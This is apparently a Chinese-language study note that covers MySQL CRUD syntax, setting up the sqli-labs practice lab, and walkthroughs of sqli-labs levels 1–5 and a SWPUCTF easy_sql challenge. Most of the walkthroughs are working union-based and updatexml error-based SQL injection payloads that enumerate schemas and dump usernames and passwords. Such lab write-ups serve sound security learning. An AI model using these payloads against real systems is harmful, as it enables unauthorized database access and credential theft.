一、MySQL增删改查
CURD:create 增加;update 修改;retrieve 查询;delete 删除
1.C
insert into 表名(列名,列名,······) values(值,值,·····)
2.R
a.全列查询
select * from 表名;*叫做通配符,代表所有列
b.指定列查询
select 列名 from 表名
c.带表达式的查询
select 表达式 from 表名
d.带别名的查询
select 列名/表达式 as 别名 from 表名
e.去重查询
select distinct 列名 from 表名
f.排序
select 列名 from 表名 order by 列名/表达式/别名 asc/desc
g.条件查询
select 列名/表达式 from 表名 where 条件
3.U
update 表名 set 列名= 值 where 条件
4.D
delete from 表名 where 条件
二、sqli-labs
1.搭建
打开phpstudy,启动Apache和MySQL
下载sqli-labs
https://github.com/Audi-1/sqli-labs
然后解压到localhost的根目录WWW下
打开文件夹sqli-labs-master,找到如下文件夹打开
然后使用记事本打开db-creds.inc,将pass修改为root
修改好保存,然后打开sqli-labs网站,访问http://127.0.0.1/sqli-labs-master/
出现如下界面
点击第一行Setup/reset Database for labs
若出现如下报错,将php版本换为5.x
重新打开网站,继续上述操作,创建数据库,操作成功后界面如下:
然后返回上个界面,点击page1,出现如下界面
可以开始练习了
2.做题记录
【1】
黄色字体提示输入数字值的ID作为参数
输入?id=1(在英文模式下输入,否则无法查找到页面)
数字值不同,返回的内容也不同
然后判断SQL语句是否拼接以及是字符型还是数字型,输入?id=1'
在后面加上--+
根据结果认定为字符型且存在sql注入漏洞,接下来使用联合注入
先看表格有几列,正常即为未超出列数,报错即超出列数
?id=1'order by 3 --+
页面正常无报错
?id=1'order by 4 --+
报错说明表格有三列
接下来看看是哪一列的数据会显示在页面上
?id=-1'union select 1,2,3--+
所以第二列和第三列的数据会显示在页面上
接下来获取当前数据名和版本号
?id=-1'union select 1,database(),version()--+
得知数据名是security,版本为5.7.26
下一步爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
然后爆字段名
通过上一步可知当前数据库有四个表,分别是emails,referers,uagents,users,根据名称推断用户的用户名和密码可能在users表中,需要得到该表下的字段名和内容
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
在表中发现了敏感字段username,password,接下来得到该字段对应的内容
?id=-1' union select 1,2,group_concat(username , password) from users--+
在中间加个id可以分隔开账户和密码
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
【2】
步骤同第一关
?id=1'
从报错信息得知为数字型注入
?id=1 order by 3
?id=1 order by 4
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
【3】
?id=1'
从报错信息推断sql语句为单引号字符型且有括号,需要闭合单引号并考虑括号
?id=1')--+
?id=1') order by 3--+
?id=1') order by 4--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
【4】
单引号页面正常显示,双引号有报错,根据信息显示推断为双引号字符型并带有括号
?id=1")--+
?id=1") order by 3--+
正常
?id=1") order by 4--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
【5】
与前几关不同的是,第五关没有页面回显,所以联合注入没用,这里用到报错注入
先判断闭合方式,是 ’ 闭合
然后判断注入点
?id=1'and 1=1--+
发现页面无回显,请求语句正确是打印you are in...,错误不显示
然后爆库名
?id=1'and updatexml(1,concat(0x7e,database(),0x7e,version(),0x7e),1)--+
接下来爆表名
?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
然后爆列名
?id=1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1)--+
下一步爆出字段下内容(updatexml函数报错内容长度不能超过32个字符,所以无法查看全部内容,可以用limit一个一个的查看)
?id=1'and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1)--+
用limit
?id=1'and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)--+
三、SWPUCTF 2021 新生赛 easy_sql
点开环境,标题“参数是wllm”
地址栏输入wllm试试
没有回显,再输点东西试试
由报错显示是单引号闭合
?wllm=1'order by 4--+
?wllm=-1'union select 1,2,3--+
?wllm=-1'union select 1,database(),version()--+
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
?wllm=-1' union select 1,2,group_concat(id , flag) from test_tb--+